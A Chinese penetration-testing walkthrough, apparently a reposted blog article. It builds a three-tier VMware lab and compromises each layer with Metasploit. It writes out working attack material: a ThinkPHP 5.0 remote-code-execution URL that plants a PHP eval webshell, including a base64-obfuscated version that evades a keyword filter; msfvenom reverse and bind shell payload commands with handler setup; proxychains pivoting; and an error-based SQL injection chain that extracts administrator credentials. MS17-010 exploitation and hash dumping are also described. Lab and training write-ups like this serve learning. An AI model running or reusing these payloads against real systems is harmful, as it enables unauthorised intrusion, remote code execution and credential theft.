三层靶机搭建及其内网渗透实战
2021-11-29 17:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:69 收藏

转载于:http://www.yowell.pw,欢迎关注作者博客。

一 、前言

综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但往往缺少多层网络的练习环境。此次通过虚拟机搭建3层网络,并通过msf进行内网渗透,涉及虚拟机配置,Web漏洞利用,提权,代理搭建,流量转发,端口映射等常见内网渗透技术。

二、靶机系统搭建

本实验环境使用Vmware虚拟机和5个系统搭建完成。网络拓扑图如下图:

首先在虚拟机中新建3块网卡,选择仅主机模式。配

网络拓扑图

置如下图:

VMnet0,VMnet2,VMnet3个网卡

其中,第一层和第二层设置两个网卡,第三层设置一个网卡,攻击机为Window10 和Kali系统。渗透目标为攻陷各层的系统并且拿下最终的系统权限。

三、第一层靶机渗透

3.1、获取Webshell

我们先使用攻击机KALI(192.168.1.12)探测第一层网络环境,这里使用nmap扫描整个网段:

nmap扫描结果

我们发现第一层网络(192.168.1.11)的IP。开始扫描开放的端口:

nmap -sT -T4 192.168.1.11

目标机器开放端口情况

首先看一下80端口,发现ThinkPHP 5.0版本。

已经知道了版本号为V5.0,然后去exploit-db上搜索响应漏洞,发现存在两个远程代码执行漏洞。

exploit-db

漏洞POC:

http://192.168.1.11/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

因此我们执行代码上传Webshell:

http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php eval($_POST[yowell]);?>" > yowell.php

上传后发现不能成功连接Webshell,经过多次尝试后发现系统屏蔽了“$_POST”关键字。因此考虑使用base加密后的Webshell进行上传

http://192.168.1.11/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo <?php%20eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtFeDVPRGhRTTBKdlkwRndiR1J0Um5OTFExSm1WVVU1VkZaR2RHdGlNamw1V0ZOclMweDVPQzVqYUhJb05EY3BMbEJuS1NrNykpOw));?>" > yowell.php    // 密码为door

成功连接蚁剑。

3.2 上传MSF后门

首先查看版本信息uname -an,发现是64位linux系统。通过msfvenom制作linux TCP反向连接后门。这里的palyload使用linux/x64/meterpreter/reverse_tcp。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=6789 -f elf >yowell.elf

生成后门程序后通过蚁剑上传至服务器,并且更改执行权限

chmod +x yowell.elf

MSF获取监听:

[email protected]:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.12
msf5 exploit(multi/handler) > set lport 6789
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

msf

成功获取到第一层靶机的SHELL。查看网卡情况

发现有192.168.22.0/24 网段。

为了在KALI 中访问此网段,因此进行设置代理。

首先添加第二层的路由:

run autoroute -s 192.168.22.0/24

在MSF中添加代理,以便让攻击机访问靶机2,这里使用socks4代理:

使用MSF模块扫描端口:

发现192.168.22.22是第二层靶机IP。扫描开放端口情况

配置proxychain.conf

vim /etc/proxychains.conf

加入新设置的代理,这样就可以通过proxychain3 通过代理进行操作。

socks4 192.168.1.12 1080

例如扫描第二层端口也可以用nmap。

proxychains3 nmap -Pn -sT 192.168.22.22

-Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT:扫描TCP数据包已建立的连接connect

四、第二层靶机渗透

由于同样开放了80端口,所以进网站看一下,这里需要给firefox设置socks代理。

3.1、80端口信息搜集

源码中存在hint
robots.txt中存在敏感目录

3.2 漏洞挖掘

由于之前的hint是存在SQL注入漏洞,经过多次尝试发现是报错注入漏洞:

payload:

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(schema_name)%20from%20information_schema.schemata)))%23

数据库名为:bagecms

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22bagecms%22)))%23

表名为:bage_ad,bage_admin,bage_admin_g

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22bage_admin%22)))%23

字段名为:username,password,realname

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20group_concat(username,password)%20from%20bage_admin)))%23

管理员用户名admin,密码46f94c8de14fb36680850768ff1b7f2

发现md5因该为32位,然而只爆出了31位,应该是显示不完全,因此使用substring函数爆出最后一位。

http://192.168.22.22/index.php?r=vul&keyword=1%27%20union%20select%201,extractvalue(1,concat(0x7e,(select%20substring(password,32)%20from%20bage_admin)))%23

最终解密为:123qwe

接下来利用robots.txt中的后台成功登录。

在模板中可以修改php文件,因此这时候上传webshell。但是上传一句话木马后。蚁剑一直显示未知错误。

因此换种思路,想到KALI下还有一个生成webshell的weevely。

将代码复制到主页php文件中。但是连接的时候依旧不稳定。

继续换思路,直接使用msfvenom的payload 拿shell

首先生成phppayload

msfvenom -p php/meterpreter/bind_tcp LPORT=3344 -f raw > msfyowell.php

注意:由于msf添加的路由全为正向连接,即我们可以访问到靶机但靶机不能反向访问到我们,所以在选择msf马的payload时,不选择reverse_tcp反向连接payload,而是选择bind_tcp正向连接payload,bind_tcp不需要设置请求的ip,会在目标主机开启一个端口,然后我们攻击机去访问目标主机的端口即可攻陷

上传至主页,然后使用msf进行监听:

运行程序,拿到webshell。

由于此webshell因为网站程序的timeout ,shell也会随之关闭。因此我们换成MSFSHELL。首先生成elf 后门程序。通过webshell上传至服务器并且修改权限。

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4321 -f elf > msfyowell.elf

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 192.168.22.22
msf5 exploit(multi/handler) > set LPORT 4321
msf5 exploit(multi/handler) > options
msf5 exploit(multi/handler) > run

3.3 设置代理

从靶机中可以看出第三层网段为192.168.33.0/24

添加路由,同第一层靶机方法。

run autoroute -s 192.168.33.0/24

run autoroute -p

四、第三层靶机渗透

4.1、信息搜集

对第三层靶机进行ip搜寻以及端口扫描

从中可知第三层靶机ip为192.168.33.23

发现开放了135,139,445,3389端口。

4.2漏洞利用

考虑ms17-010漏洞,使用MSF进行尝试:

成功拿到权限。

查看用户及密码hash。

获取到管理员密码。


设置代理,并连接通过WINDOW10机器的sockscap连接3389端口。

渗透完成!

“阅读原文”体验免费靶场!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652883351&idx=2&sn=14ec00eb6c43e4532190d6cf263f7494&chksm=bd59b55a8a2e3c4c61a2800b0502e28ad0ae446e11af28fa2327060395a602ba861779605384#rd
如有侵权请联系:admin#unsafe.sh